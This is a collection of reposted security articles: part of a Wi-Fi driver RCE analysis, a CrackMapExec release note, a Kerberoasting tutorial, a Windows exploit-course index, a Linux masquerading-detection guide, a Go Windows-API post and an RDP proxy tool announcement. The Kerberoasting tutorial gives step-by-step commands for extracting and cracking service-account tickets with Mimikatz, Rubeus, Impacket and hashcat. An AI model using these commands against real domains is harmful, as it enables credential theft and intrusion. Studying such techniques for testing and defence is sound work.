index edi is initialized to 0 prior to entering the loop body. This will iterate for 0xFF times. In the basic block starting from 0x140D0718, the first DWORD from the buffer is read and stored in the eax register. This value is immediately used as an offset to the vulnerable buffer and a byte is written to it. At 0x1004D0729, the first DWORD of the vulnerable buffer is incremented. An out-of-bounds write condition occurs when the utilRegulatoryClassToChannelList() function is called more than two times. Conclusion Although the triggering conditions for these bugs are quite rare, it is still very interesting to see bugs in the data link layer to come through our program. While there have been a few talks on fuzzing the information element, we are not seeing many analyses and discoveries of Wi-Fi-based bugs. The IEEE 802.11 family of wireless technology standards offer a vast attack surface, and the vulnerability researcher community has barely begun to scrutinize the protocol. A good driver bug from this attack vector gives direct access to the kernel. When compared to web browser-based attacks, which require multiple bugs and sandbox escapes, the Wi-Fi attack vector could be an interesting alternate vector for attackers to consider. For those interested in learning more about the IEEE 802.11 family of standards, 802.11 Wireless Networks: The Definitive Guide written by Matthew S. Gast is a great resource to start your learning. You can find me on Twitter @TrendyTofu, and follow the team for the latest in exploit techniques and security patches. Footnotes [1] An authentication request is not to be confused with the Robust Security Network, also known as RSN or WPA2, standard defined in IEEE 802.11i-2004. An authentication request is a low-level “authentication” that provides no meaningful network security. It is better to think of this as a station identifying itself to the network. [2] Since the index starts from zero, eax is decremented once prior to comparison to avoid an off-by-one mistake. This looks like a for-loop was converted into a do-while loop at compile time. Such conversions are often done to reduce the number of jump instructions and to reduce the loop overhead. For those interested in learning more about loop optimization, consider reading section 12 of Optimizing subroutines in assembly language: An optimization guide for x86 platforms by Agner Fog. Sursa: https://www.zerodayinitiative.com/blog/2020/5/4/analyzing-a-trio-of-remote-code-execution-bugs-in-intel-wireless-adapters

CrackMapExec v5.0.2dev ? Features ? CME accepts a file as argument with option -x and -X WinRM can now execute a command even if not local admin thanks to pypsrp lib Kerberos support is added to CME ? commands --put-file and --get-file have been added allowing to put or get remote file option --no-bruteforce has been added allowing you to spray credentials without bruteforce CME will now always show FQDN ? ? Issues ? Issues with SSH connection are fixed MSSQL and WinRM protocoles have been updated allowing connections even if SMB is not open Fix some encoding problems as always ? LSASSY module output has been improved when no credentials are found thanks to @Hackndo encoding problem with GPP_PASSWORD and GPP_AUTOLOGIN should be fixed ? Modules ? both Metasploit and empire modules are back in the game module wireless has been added to CME module bh_owned has been added by @Hackndo allowing to send credentials from CME to bloodhound to mark a computer as owned ? Also, thank you all for the support ! ? Assets6 cme-macOS-latest.zip46.7 MB cme-ubuntu-latest.zip53.2 MB cmedb-macOS-latest.zip46.7 MB cmedb-ubuntu-latest.zip53.2 MB Source code(zip) Source code(tar.gz) Sursa: https://github.com/byt3bl33d3r/CrackMapExec/releases/tag/v5.0.2dev

Deep Dive into Kerberoasting Attack posted inRED TEAMING on MAY 5, 2020 by RAJ CHANDEL SHARE In this article, we will discuss kerberoasting attacks and other multiple methods of abusing Kerberos authentication. But before that, you need to understand how Kerberos authentication works between client-server communication. “Kerberos is for authentication not for authorization, this lacuna allows kerberoasting” Table of Content SECTION A: Kerberos Authentication Flow Kerberos & its Major Components Kerberos Workflow using Messages SECTION B: Service Principle Name SPN Service Principle Name SPN Important Points The SPN syntax has four elements Type of SPN SECTION ? Kerberoasting Attack Walkthrough What is Kerberoasting Kerberoasting Major Steps PART 1: OLD Kerberoasting Procedure on Host System Powershell Script Mimikatz PART 2: NEW Kerberoasting Procedure on Host System Rubeus.exe ps1 Powershell Script PART 3: OLD Kerberoasting Procedure on Remote System Powershell Empire Metasploit PART 4: NEW Kerberoasting Procedure on Remote System PowerShell Empire Metasploit Impacket SECTION A: Kerberos Authentication Flow Table of Content Kerberos & its major Components Kerberos Workflow using Messages KERBEROS & its Major Components The Kerberos protocol defines how clients interact with a network authentication service. Clients obtain tickets from the Kerberos Key Distribution Center (KDC), and they submit these tickets to application servers when connections are established. It uses UDP port 88 by default and depends on the process of symmetric key cryptography. “Kerberos uses tickets to authenticate a user and completely avoids sending passwords across the network”. There are some key components in Kerberos authentication that play a crucial role in the entire authentication process. Kerberos Workflow using Messages In the Active Directory domain, every domain controller runs a KDC (Kerberos Distribution Center) service that processes all requests for tickets to Kerberos. For Kerberos tickets, AD uses the KRBTGT account in the AD domain. The image below shows that the major role played by KDC in establishing a secure connection between the server & client and the entire process uses some special components as defined in the table above. As mentioned above, Kerberos uses symmetric cryptography for encryption and decryption. Let us get into more details and try to understand how encrypted messages are sent to each other. Here we use three colours to distinguish Hashes: BLUE _KEY: User NTLM HASH YELLOW_KEY: Krbtgt NTLM HASH RED_KEY: Service NTLM HASH Step 1: By sending the request message to KDC, client initializes communication as: KRB_AS_REQ contains the following: Username of the client to be authenticated. The service SPN (SERVICE PRINCIPAL NAME) linked with Krbtgt account An encrypted timestamp (Locked with User Hash: Blue Key) The entire message is encrypted using the User NTLM hash (Locked with BLUE KEY) to authenticate the user and prevent replay attacks. Step 2: The KDC uses a database consisting of Users/Krbtgt/Services hashes to decrypt a message (Unlock with BLUE KEY) that authenticates user identification. Then KDC will generate TGT (Ticket Granting Ticket) for a client that is encrypted using Krbtgt hash (Locked with Yellow Key) & some Encrypted Message using User Hash. KRB_AS_REP contains the following: Username Some encrypted data, (Locked with User Hash: Blue Key) that contains: Session key The expiration date of TGT TGT, (Locked with Krbtgt Hash: Yellow Key) which contains: Username Session key The expiration date of TGT PAC with user privileges, signed by KDC Step 3: The KRB_TGT will be stored in the Kerberos tray (Memory) of the client machine, as the user already has the KRB_TGT, which is used to identify himself for the TGS request. The client sent a copy of the TGT with the encrypted data to KDC. KRB_TGS_REQ contains: Encrypted data with the session key Username Timestamp TGT SPN of requested service e.g. SQL service Step 4: The KDC receives the KRB_TGS_REQ message and decrypts the message using Krbtgt hash to verify TGT (Unlock using Yellow key), then KDC returns a TGS as KRB_TGS_REP which is encrypted using requested service hash (Locked with Red Key) & Some Encrypted Message using User Hash. KRB_TGS_REP contains: Username Encrypted data with the session key: Service session key The expiration date of TGS TGS, (Service Hash: RED Key) which contains: Service session key Username The expiration date of TGS PAC with user privileges, signed by KDC Step 5: The user sent the copy of TGS to the Application Server, KRB_AP_REQ contains: TGS Encrypted data with the service session key: Username Timestamp, to avoid replay attacks Step 6: The application attempts to decrypt the message using its NTLM hash and to verify the PAC from KDC to identify user Privilege which is an optional case. Step 7: KDC verifies PAC (Optional) Step 8: Allow the user to access the service for a specific time. SECTION B: Service Principle Name SPN Table of Content Service Principle Name SPN Important Points The SPN syntax has four elements Type of SPN Service Principle Name The Service Principal Name (SPN) is a unique identifier for a service instance. Active Directory Domain Services and Windows provide support for Service Principal Names (SPNs), which are key components of the Kerberos mechanism through which a client authenticates a service. Important Points If you install multiple instances of a service on computers throughout a forest, each instance must have its SPN. Before the Kerberos authentication service can use an SPN to authenticate a service, the SPN must be registered on the account. A given SPN can be registered on only one account. An SPN must be unique in the forest in which it is registered. If it is not unique, authentication will fail. The SPN syntax has four elements Type of SPN: Host-based SPNs which is associated with the computer account in AD, it is randomly generated 128-character long password which is changed every 30 days, hence it is no use in Kerberoasting attacks SPNs that have been associated with a domain user account where NTLM hash will be used. Section ? Kerberoasting Attack Walkthrough Table of Content What is Kerberoasting? Kerberoasting Major Steps PART 1: OLD Kerberoasting Procedure on Host System Powershell Script Mimikatz PART 2: NEW Kerberoasting Procedure on Host System Rubesus.exe ps1 Powershell Script PART 3: OLD Kerberoasting Procedure on Remote System Powershell Empire Metasploit PART 4: NEW Kerberoasting Procedure on Remote System PowerShell Empire Metasploit Impacket What is Kerberoasting? Kerberoasting is a technique that allows an attacker to steal the KRB_TGS ticket, that is encrypted with RC4, to brute force application services hash to extract its password. As explained above, the Kerberos uses NTLM hash of the requested Service for encrypting KRB_TGS ticket for given service principal names (SPNs). When a domain user sent a request for TGS ticket to domain controller KDC for any service that has registered SPN, the KDC generates the KRB_TGS without identifying the user authorization against the requested service. An attacker can use this ticket offline to brute force the password for the service account since the ticket has been encrypted in RC4 with the NTLM hash of the service account. Kerberoasting Major Steps This attack is multiple steps process as given below: Step 0: Access the Client system of the domain network by Hook or Crook. Step 1: Discover or scan the registered SPN. Step 2: Request for TGS ticket for discovered SPN using Mimikatz or any other tool. Step 3: Dump the TGS ticket which may have extention .kirbi or ccache or service HASH (in some scenario) Step 4: Convert the .kirbi or ccache file into a crackable format Step 5: Use a dictionary for the brute force attack. We have attack categories such as OLD or NEW kerberoasting on the Host or Remote system. OLD Procedure: These are techniques where multiple kerberoasting steps are performed. NEW Procedure: These are single-step techniques used for kerberoasting. PART 1: OLD Kerberoasting Procedure on Host System Method 1: Powershell Script Step 1: SPN Discover Download “Find-PotentiallyCrackableAccounts.ps1” & “Export-PotentiallyCrackableAccounts.ps1” from here on the host machine. These scripts will discover the SPN and save the output in CSV format. 1 2 3 4 Import-Module .\Find-PotentiallyCrackableAccounts.ps1 Find-PotentiallyCrackableAccounts.ps1 -FullData -Verbose Import-Module .\Export-PotentiallyCrackableAccounts.ps1 Export-PotentiallyCrackableAccounts Another powershell script “GetUserSPns .ps1” Download it from here it will Query the domain to discover the SPNs that use User accounts as you can observe that we have found SPN name with the help of followed command. 1 .\GetUserSPns .ps1 Import the module in the powershell run the said command here I have enumerated SPN for SQL Service. Step 2: Extract & Dump TGS_ticket & Obtain Hash Here, I try to extract the KRB_TGS from inside the host memory with the help of another PowerShell script called “TGSCipher.ps1” which you can download from here and simultaneously convert the request output it into John format. 1 Get-TGSCipher -SPN "WIN-S0V7KMTVLD2/SVC_SQLService.ignite.local:60111" -Format John As a result, we obtain the HASH string for the SQL Service. Step 3: Brute Force HASH Now, this is the last and desired phase where we have used a dictionary for brute-forcing the HASH, thus we saved above-enumerated hash in a text file and run the following command. 1 john --wordlist=/usr/share/wordlists/rockyou.txt hashes Boom! Boom!!! And we’ve made a successful kerberoasting attack by obtaining a password for the SQL service. Method 2: Mimikatz Similarly, you can use mimikatz for the entire attack which means it can be used for SPN discovery and dumping the TGS ticket. Step 1: SPN Discovery Download and execute the mimikatz & run Kerberos::list command for SPN discovery. 1 2 ./mimikatz.exe kerberos::list Step 2: Dump TGS ticket Run the export command for extracting the ticket named contains .kirbi extension. 1 kerberos::list /export Step 3: Convert the Kirbi to Hash & Brute Force Hash I renamed the obtain file name as “1-40a5000…..kirbi” into “raj.kirbi” and again convert raj.kirbi into john crackable format with the help of kirbi2john.py (possible at /usr/share/john/) named as “kirbihash”; then use john for brute force as done in 1st Method. 1 2 3 mv "1-40a5000…..kirbi" "raj.kirbi" /usr/share/john/kirbi2john.py raj.kirbi > kirbihash john --wordlist=/usr/share/wordlists/rockyou.txt kirbihash PART 2: NEW Kerberoasting Procedure on Host System Method 1: Rubeus.exe Step 1: SPN Discover, Dump TGS, obtain HASH (All-in-one) Rebeus.exe is a terrific tool as it comes with a kerberoast module that discovers SPN, extracts TGS, and dump service Hash, which can be done with the help of the following command. 1 ./Rubeus.exe kerberoast /outfile:hash.txt Step 2: Brute Force Hash So, we have saved the service hash in the text file “hash.txt” and use a dictionary to brute force the hash and extract the service password using hashcat tool. 1 hashcat -m 13100 --force -a 0 hash.txt dict.txt As a result, you can observe that we have extracted the password of the service. Method 2: Kerberoast PowerShell Script Step 1: SPN Discover, Dump TGS, obtain HASH (All-in-one) Kerberoast.ps1 is a PowerShell script which is as similar above module, you can download it from here, it discovers the SPN, extract TGS and dump service Hash, this can be done with the help of the following command. 1 2 Import-Module .\Invoke-kerberoast.ps1 Invoke-kerberoast Once you get the service hash, follow the above method to brute force the password. Step 2: Brute Force Hash Again, repeat the same procedure to brute force the hashes. PART 3: OLD Kerberoasting Procedure on Remote System Method 1: Metasploit PowerShell script via meterpreter ps1- SPN Discovery script SetSPN Utility ps1 Mimikatz via Metasploit 1. PowerShell script via meterpreter Step1: SPN Discovery Download “Find-PotentiallyCrackableAccounts.ps1” & “Export-PotentiallyCrackableAccounts.ps1” from here in your local machine and upload it on the host machine through meterpreter session, then invoke PowerShell to execute the script remotely. These scripts will discover the SPN and save the output in CSV format. 1 2 3 4 Import-Module .\Find-PotentiallyCrackableAccounts.ps1 Find-PotentiallyCrackableAccounts -FullData -Verbose Import-Module .\Export-PotentiallyCrackableAccounts.ps1 Export-PotentiallyCrackableAccounts Download the Report.csv in your local machine. The report.csv file will list the SPNs available in the host system. Setspn – SPN Discovery Utility Another method, obtain the meterpreter session by compromising the host machine and load PowerShell. Use setspn utility to list all SPNs in the domain. 1 setspn -T ignite -Q */* As you can observe that again we have discovered the SPN for SQL service Step 2: Extract & Dump TGS_ticket & Obtain Hash Upload the PowerShell script “TGSCipher.ps1” and simultaneously convert the request output it into John format. 1 2 Import-Module .\Get-TGSCipher.ps1 Get-TGSCipher -SPN "WIN-S0V7KMTVLD2/SVC_SQLService.ignite.local:60111" -Format John As a result, we obtain the HASH string for the SQL Service. Step 3: Brute Force Hash Again, repeat the same procedure to brute force the hashes. 2. Mimikatz via Metasploit Once you have the meterpreter session of the host system then you can try to upload mimikatz.exe and then perform all steps discussed in Part 1 of section C. Step 1: SPN Discovery Download and execute the mimikatz & run Kerberos::list command for SPN discovery 1 2 ./mimikatz.exe kerberos::list Step 2: Dump TGS ticket Run the export command for extracting the ticket named with .kirbi extension. 1 kerberos::list /export Download the kirbi file in your local machine to convert it into the crackable format. Step 3: Convert the Kirbi to Hash & Brute Force Hash Again, I renamed the obtain file name as “2-40a5000…..kirbi” into “raj.kirbi” and again convert local.kirbi into john crackable format with the help of kirbi2john.py (possible at /usr/share/john/) named as “localhash”; then use john for brute force as done above. 1 2 3 mv "40a5000.....kirbi" "local.kirbi" /usr/share/john/kirbi2john.py local.kirbi > localhash john –wordlist=/usr/share/wordlists/rockyou.txt localhash Method 2: PowerShell Empire Step 1: SPN Discovery use setspn follow above method (Optional in this module) Step 2: Extract & Dump TGS_ticket & Obtain Hash Once you have empire agent, execute the below module which will extract and dumb .kirbi format file for TGS ticket. 1 2 usemodule credential/mimikatz/extract_tickets execute Step 3: Convert kirbi to hash & then Brute force You can also tgscrack.py which a dedicated python script that converts kirbi format into the crackable format and then brute force the hashes to extract the password. Download it from here then run the following commands 1 2 3 mv [kirbi_file] [new.kirbi] python extractServiceTicketParts.py [path_of_new.kirbi_file] > ignitehash go run tgscrack.go -hashfile ignitehash -wordlist /usr/share/wordlists/rockyou.txt PART 4: NEW Kerberoasting Procedure on Remote System Method 1: PowerShell Empire Step 1: SPN Discover, Dump TGS, obtain HASH (All-in-one) Once you have Empire/agent then load invoke_kerberoast module, it is a cool module as it discovered the SPN, extracts the ticket, and dump the service hash from inside the TGS cipher. 1 2 usemodule credentials/invoke_kerberoast execute As you can observe that it has dumped the service hash within a second of time. Step 2: Brute Force Hash Again, repeat the same procedure to brute force the hashes. Method 2: Metasploit Step 1: SPN Discover, Dump TGS, obtain HASH (All-in-one) If you are Metasploit interface lover then after obtaining a meterpreter session you can load the PowerShell and upload kerberoast.ps1 script, download it from here, it discovered the SPN, extract the TGS ticket then dump the service hash from inside the TGS cipher. 1 2 powershell_import /root/powershell/Invoke-kerberoast.ps1 powershell_execute Invoke-Kerberoast Step 2: Brute Force Hash Again, repeat the same procedure to brute force the hashes. Method 3: Impacket Step 1: SPN Discover, Dump TGS, obtain HASH (All-in-one) Use Impacket inbuilt module “GetUSerSPNs.py”, it is a python script that it discovers SPN, extract TGS and dump service Hash, this can be done with the help of the following command: 1 ./GetUserSPNs.py -request -dc-ip 192.168.1.105 ignite.local/yashika It will dump the service hash and with the help of the dictionary, you can brute force it for extracting service passwords. Step 2: Brute Force Hash Again, repeat the same procedure to brute force the hashes. 1 john –wordlist=/usr/share/wordlists/rockyou.txt hashes Reference: Microsoft Service Principal Names https://www.tarlogic.com/en/blog/how-kerberos-works/ Sursa: https://www.hackingarticles.in/deep-dive-into-kerberoasting-attack/

Welcome! I am Fu11shade, I specialize in 0day research and offensive Windows exploitation, this course is to fill in the gap on the internet for Windows exploitation content. I am rapidly working to finish the last few (newly added) posts, everything should be finished by the end of this week. Currently about 5-6 missing posts so far. This page provides a pathway for learning Windows exploit development, following the provided blog posts will allow you to learn Windows exploit development from the basics, to advanced kernel exploitation on a Windows 10 system with all the mitigations enabled. This course can all be downloaded as a polished PDF book format [coming soon!] Basic exploitation (late 1990’s - early 2010’s era) https://github.com/FULLSHADE/OSCE is my repository with over 25 from scratch written exploits, these exploits are in-scope of the “basic exploitation” category of this series. Fair warning, some of the following posts are not finished yet… Most everything else is Id Article Author 0 Setting up Immunity and WinDBG with Mona.py FullShade 1 Classic JMP ESP buffer overflow FullShade 2 Local SEH buffer overflow FullShade 3 Local SEH buffer overflow with a DEP bypass FullShade 4 Remote SEH overflow with egghunters FullShade 5 Remote SEH overflows & multi-stage jumps FullShade 6 SEH overflows, alphanumber & unicode encoding bypass FullShade 7 Bypassing SEH mitigations with DLL injection FullShade 8 Code caving and backdooring PEs FullShade Windows Internals theory Id Article Author 9 Understanding Windows security mitigations FullShade 10 Understanding Windows memory data structures FullShade 11 Understanding the PEB & WinDBG analysis FullShade 12 Kernel Opaque data structures & access tokens FullShade 13 Windows Kernel memory pool & vulnerabilities FullShade 14 Basics of Kernel-mode driver (IRPs) & I/O requests FullShade 15 IOCTL’s for kernel driver exploit development FullShade Windows kernel exploitation (2010 - 2013 era) POCs and fully completed exploits can be found here https://github.com/FULLSHADE/HEVD-Exploits, more coming thing week Id Article Author 16 Writing a Windows Kernel-Mode Driver - Part 1 FullShade 17 HEVD - Windows 7 x86 Kernel Stack Overflow FullShade 18 HEVD - Windows 7 x86 Kernel NULL Pointer Dereference FullShade 19 HEVD - Windows 7 x86 Kernel Type Confusion FullShade 20 HEVD - Windows 7 x86 Kernel Arbitrary Write FullShade 21 HEVD - Windows 7 x86 Kernel Use-After-Free FullShade 22 HEVD - Windows 7 x86 Kernel Interger Overflow FullShade 23 HEVD - Windows 7 x86 Kernel Uninitialized Stack Variable FullShade 24 HEVD - Windows 7 x86 Kernel Pool Overflow FullShade 25 HEVD - Windows 7 x86_64 Kernel Stack Overflow FullShade 26 HEVD - Windows 7 x86_64 Kernel Arbitrary Write FullShade Advanced Windows kernel exploitation (2016 - 2020 era) Id Article Author 27 HEVD - Windows 8.1 64-bit Kernel Stack Overflow w/ SMEP FullShade 28 Leaking Kernel Addresses on Windows 10 64-bit FullShade 29 Abusing GDI Bitmap objects on Windows 10 64-bit FullShade Hunting Windows 0days Once you have enough Windows exploitation knowledge, you can start auditing third-party applications and drivers for 0day vulnerabilities, below are a few that have been discovered with this level of information. https://fullpwnops.com/cves.html Discovered 0days by me can be found littered around my Github profile, more organization will come soon Id Article Author 30 Fuzzing drivers for 0days, discover new vulnerabilities FullShade Sursa: https://fullpwnops.com/windows-exploitation-pathway.html

Detecting Linux kernel process masquerading with command line forensics By Craig Rowland on 27 Apr 2020 Linux kernel process masquerading is sometimes used by malware to hide when it is running. Let’s go over how you can unmask a piece of Linux malware using this tactic. What is Linux kernel process masquerading? On Linux, the kernel has many threads created to help with system tasks. These threads can be for scheduling, disk I/O, and so forth. When you use a standard process listing command, such as ps, these threads will show up as having [brackets] around them to denote that they are threads of some kind. Ordinary processes will not normally show up with [brackets] around them in the ps listing. The brackets denote that the process has no command-line arguments, which usually means it was spawned as a thread. For example, the below listing shows kernel threads vs. normal processes: ps –auxww Figure 1 — Linux kernel threads vs. normal processes. What does it look like? Linux malware uses a variety of techniques to hide from detection. One method they will use is to try to impersonate a kernel thread by making the process show [brackets] around its name in the ps listing. Administrators can easily overlook a malicious process this way. If you look at the listing below, we have started a process to hide itself by trying to look like a kernel thread. Can you see it? Figure 2 — An example of Linux kernel thread masquerading hiding. How to impersonate a Linux kernel thread Now that you know what Linux kernel thread masquerading looks like, let’s set up a test so you can play with how to find it using command line forensics. We’ll use the sleep command for our simulation as you can do it on any system without fear of causing trouble: export PATH=.:$PATH cp /bin/sleep /tmp/[kworkerd] cd /tmp "[kworkerd]" 3600 & The export path sets things so we can execute the file in the local directory without needing to put a “./” in front of it. This makes it look more legit. We next copy the sleep command over to /tmp and then run it under the bogus name [kworkerd]. We put on a value of 3,600 seconds to the sleep command so it will quietly exit after an hour once testing is over. Let’s look at our handiwork and we should see [kworkerd] running when we do our ps command. ps -auxww Figure 3 — Real vs. imposter Linux kernel thread. De-cloaking Linux kernel thread masquerading with process maps The first method we’ll use to de-cloak a masquerading process is to see if it has any contents under /proc/<PID>/maps. This location is normally where processes show libraries they are linking to and where they mapped to in memory. For real kernel threads, it should be empty. If you look at this location for a process that is named in [brackets] but it shows any data, then it is not a real kernel thread. The basic command we’ll use is cat /proc/<PID>/maps where <PID> is the process ID we are investigating. In the above example, we think that [kworkerd] looks suspicious with PID 2121 so we’ll check it out: cat /proc/2121/maps Figure 4 — Using Linux /proc maps to detect kernel masquerading. If you see anything listed under this area and the process has [brackets] around it, then it’s likely malicious and trying to hide. If you want, you can run this command to quickly go over all the system PIDs and see which ones are named with brackets but have maps files. Normally you should see nothing here. Anything that shows data should be investigated further. ps auxww | grep \\[ | awk '{print $2}' | xargs -I % sh -c 'echo PID: %; cat /proc/%/maps' 2> /dev/null This command outputs the image below if it finds something. Figure 5 — Finding Linux kernel masquerading with a script. In the /proc/<PID>/maps;listing you’ll see some paths to investigate where the binary has links to itself or libraries it is using. In the above, we see the path /tmp/[kworkerd] which would be a high priority location to investigate. You may also see libraries that are suspicious, references to hidden directories, and so forth. Take a close look at it and be sure you don’t miss anything! De-cloaking Linux kernel thread masquerading with cryptographic hashing Another way to de-cloak a masquerading Linux kernel thread is to see if it shows a binary attached to the running process. Basically, you just use the technique we discussed on recovering malicious binaries that are deleted, but see if you can get a SHA1 hash. If you get a hash back, then it’s a normal process trying to hide and is not a kernel thread. Real kernel threads won’t have a link to the binary that started them. This technique was suggested by @r00tkillah on Twitter when this subject was first posted. A process binary on Linux can be quickly copied if you simply look at /proc/<PID>/exe. You can copy this file to a new location and have an instant snapshot of the binary that started the process. You can also use this link to get an instant hash to check against databases of known malware. Real kernel threads won’t have this data available, only imposters will. In our case, we’ll use this knowledge to investigate our suspicious PID 2121 like this: sha1sum /proc/2121/exe Figure 6 — Obtaining SHA1 hash of Linux kernel masquerading attack. Now we see the hash, let’s recover the binary and copy it somewhere so it can be analyzed offline. Using the command below we’ll make a copy to /tmp/suspicious_bin. Now, we have our own copy in case the malware tries to delete itself in self-defence: cp /proc/2121/exe /tmp/suspicious_bin Figure 7 — Recovering suspicious Linux malware binary. If you want to automatically crawl through the PIDs and get SHA1 hashes of imposters, you can run this command: ps auxww | grep \\[ | awk '{print $2}' | xargs -I % sh -c 'echo PID: %; sha1sum /proc/%/exe' 2> /dev/null The above command will try to get a SHA1 hash of all processes with [brackets] around them. Any that return a hash are likely imposters: Figure 8 — Script output of SHA1 hash from masquerading Linux kernel thread. Now you have two solid ways to use the Linux command line to investigate suspicious processes trying to masquerade as kernel threads. Adapted from original post which appeared on Sandfly Security. Craig Rowland is Founder and CEO of Sandfly Security. Sursa: https://blog.apnic.net/2020/04/27/detecting-linux-kernel-process-masquerading-with-command-line-forensics/

How To Call Windows APIs in Golang 5 minute read Well, it’s been quite a while since my last post, but it feels good to be back again. I’ve taken a break from doing exploit development stuff since getting my OSCE, I don’t have much of passion for it anymore. I’m not focusing more on reversing and creating malware. And this blog post is a result of me going down this path. I’ve been learning a lot about Golang, trying to learn a new language and trying to future-proof my skill sets for a while. Go has actually been a blast to learn, but I needed to start tying it into my goal of learning how to develop malware. In this pursuit, I wanted to see the full realm of how Go can be utitlized to conduct malicious functions on users machines, and I soon after found out that you can call Windows APIs (similar to C programming) from within Go. Though I found this out, there is VERY LITTLE documentation about this, if any at all. I found one blog (which I will link soon after this introduction) that talks about it, but is already a tad dated and not super easy to follow for people like me (non-developers). Wanting to be the change I want in the world, I decided to make this blog. One shoutout I have to make is to this blog which is the one I mentioned above and had the most robust explanation on this topic that I could find. Without much more rambling, let’s get into the meat of this blog! Different Libraries to Call Windows APIs There are quite a few libraries within Golang that allow you to call windows APIs. To just name the ones I know of, there are syscall, windows, w32, and C. The last one doesn’t truly allow you to call APIs directly, but it allows you to write C code within your Golang source, and also help you convert data types to assist with these other libraries. I had quite of a bit of issue with each of these, and really had the best luck with windows and syscall, so let’s talk about this one first. Changing Windows Background Image in C++ My idea to test using Windows API’s was to try and change the background in my development VM. Let’s see what this looks like in C++ first and then we will investigate porting it over to Go. #include <windows.h> #include <iostream> int main() { const wchar_t *path = L"C:\\image.png"; int result; result = SystemParametersInfoW(SPI_SETDESKWALLPAPER, 0, (void *)path, SPIF_UPDATEINIFILE); std::cout << result; return 0; } I’m going to assume a level of comfortability with reading C code if you’re reading this, so I wont go into the structure of this code, but as you can see, you can use the SystemParameterInfoW() function to channge the wallpaper in Windows. One of the greatest things Microsft has given to the people are it’s MSDN documenation. Here is the struture of SystemParameterInfoW() from MSDN documenation: BOOL SystemParametersInfoW( UINT uiAction, UINT uiParam, PVOID pvParam, UINT fWinIni ); All we need to really know for this, is the value for uiAction to change the background (which is 0x0014 (which represents SPI_SETDESKWALLPAPER)), uiParam can be 0, pvParam will be the path to the image we want to change, and fWinIni will be set to 0x001A which is defined as SPIF_UPDATEINIFILE from the documentation. Knowing all this, let’s start setting up the Go version of this! Changing Windows Background Image in Golang Now that we are equipped with how we can call this function, we can start piecing together our Go file. All we need is one file, so we start out with our skeleton file, with some imports: package main import ( "fmt" "unsafe" "golang.org/x/sys/windows" ) func main() { } Let’s go over the imports here. fmt for us to print some text to the terminal, unsafe allows us to bypass the safety of declaring types within Go programs, and finally golang.org/x/sys/windows is what will allow us to call Windows APIs. Looking over the documentation of the windows library, since the SystemParameterInfoW() function is explicitly defined by the creator of this library, we have to manually open a handle the DLL that holds this function, and then create a variable that points to this function. In the windows library, the way to open a handle to a DLL is: user32DLL = windows.NewLazyDLL("user32.dll") Which will then add to a variable declaration block with the pointer to the function we want from this DLL: var ( user32DLL = windows.NewLazyDLL("user32.dll") procSystemParamInfo = user32DLL.NewProc("SystemParametersInfoW") ) So now we have to variables, and we will call upon the second one later on and load our parameters into it to have it change our wallpaper. Now within our main function, we first need to define the image path of where the picture we want to change our wallpaper to is located. For me it’s located under C:\Users\User\Pictures\image.jpg. You have to wrap this path within the UTF16PtrFromString() function to change it’s type so that it will be accepted into the C function, since Windows APIs get a little tricky with Golang strings. This will definiely be an issue doing more complicated APIs, which I will have another blog about in the future. I then have the binary print out to the user that it is in fact changing the background (but Go binaries execute so quickly probably doesn’t matter too much, I just like having print statements!) Finally, we use the Call() function within this windows library to invoke the API and have it execute and change our wallpaper. Here is the final main function in our code: func main() { imagePath, _ := windows.UTF16PtrFromString(`C:\Users\User\Pictures\image.jpg`) fmt.Println("[+] Changing background now...") procSystemParamInfo.Call(20, 0, uintptr(unsafe.Pointer(imagePath)), 0x001A) } So as you can see above, in the last line, we use the procSystemParamInfo variable we declared which points to the API we want to use, then pair that with the Call() function explained earlier, and then load it up with the parameters we discussed towards the begining. You will see two additional wrappers around the imagePath variable on the last line as well. This is a super hacky way to get windows API’s to accept golang variable types, first making the whole parameter a uintptr which is just a pointer that a C function will accept, and then wrapping the UTF16PtrFromString string in unsafe.Pointer() function to then allow Go to bypass the safety of type conversion since we are doing several unorthodox conversions. Let’s compile this with go build from within the directory of the source code and run the exe that gets built. Thanks for reading this! Feel free to hit me up on twitter if you have any questions about this! Happy hacking! Sursa: https://anubissec.github.io/How-To-Call-Windows-APIs-In-Golang/#

Tool Release – Socks Over RDP Balazs Bucsay Research, Tool Release May 6, 2020 2 Minutes Introduction Remote Desktop Protocol (RDP) is used to create an interactive session on a remote Windows machine. This is a widely used protocol mostly used by Administrators to remotely access the resources of the operating system or network based services. As penetration testers we frequently find ourselves in a situation where the only access that we are provided to a server or network is a Remote Desktop account. These servers are commonly called Jump boxes. It means that we need to perform our testing via this server. This usually introduces a few extra steps that takes time from us and our clients to setup and configure: Create a list of tools that needs to be installed on the server (optional) Get the list approved by the client (optional) Install the tools on the server Struggle to test with a quickly prepared environment with lots of limitations Repeat all points above On top of this disruptive cycle, some of our clients do not really like us needing to install security testing tools on their machines, which is understandable, but this proves to be a deadlock in many cases. To solve all of these issues above, we are happy to announce our new tool: Socks Over RDP. Socks Over RDP In case our testing has to go through a UNIX based server, this is a non-issue. SSH already has support for SOCKS Proxying, which can be set up for example with the “-D” parameter. The Remote Desktop Protocol and its Windows client however has no such feature. This tool was created to add this functionality to the Remote Desktop Protocol and its client. Just like SSH, upon connection a SOCKS Proxy is created on the client site, which can be used to proxy everything over the existing RDP connection. The tool has two components: A .dll, which needs to be registered on the client computer and will be loaded to the context of the Remote Desktop Client every time when it runs. This does nothing by itself, to active the SOCKS Proxy the other component needs to be executed A .exe, which is the server component. This needs to be copied to the server and executed. No installation, no configuration this is completely hassle free. When the .exe is executed on the server side in the Remote Desktop Connection, it connects back to the plugin over a Dynamic Virtual Channel (which is a feature of the protocol) and the plugin will spin up a SOCKS Proxy on the client side. That proxy by default listens on 127.0.0.1:1080, which can be configured as a proxy in browsers or tools. Note that the server component (.exe) does not require any special privileges on the server side at all, a low privileged user is also allowed to open virtual channels and proxy over the connection. It is worth noting that this tool works on Windows only. In case you are a UNIX user, FreeRDP released a similar or equivalent plugin for their tool as well. The Tool The tool is open source and was released on an online conference called HAVOC, organized by Hackers Academy and can be found on GitHub. Technical details, configuration options and other information can be found there as well: https://github.com/nccgroup/SocksOverRDP Security Concerns By default, there are no security concerns associated with the tool. The server component can be executed as a low privilege user, requiring no configuration or installation at all. Upon misconfiguration of the plugin (client component), the proxy can be changed to listen on all interfaces, which might expose the proxy to other computers on the client’s local network. With a properly configured firewall this can be mitigated. Written by: Balazs Bucsay [@xoreipeip] https://twitter.com/xoreipeip Sursa: https://research.nccgroup.com/2020/05/06/tool-release-socks-over-rdp/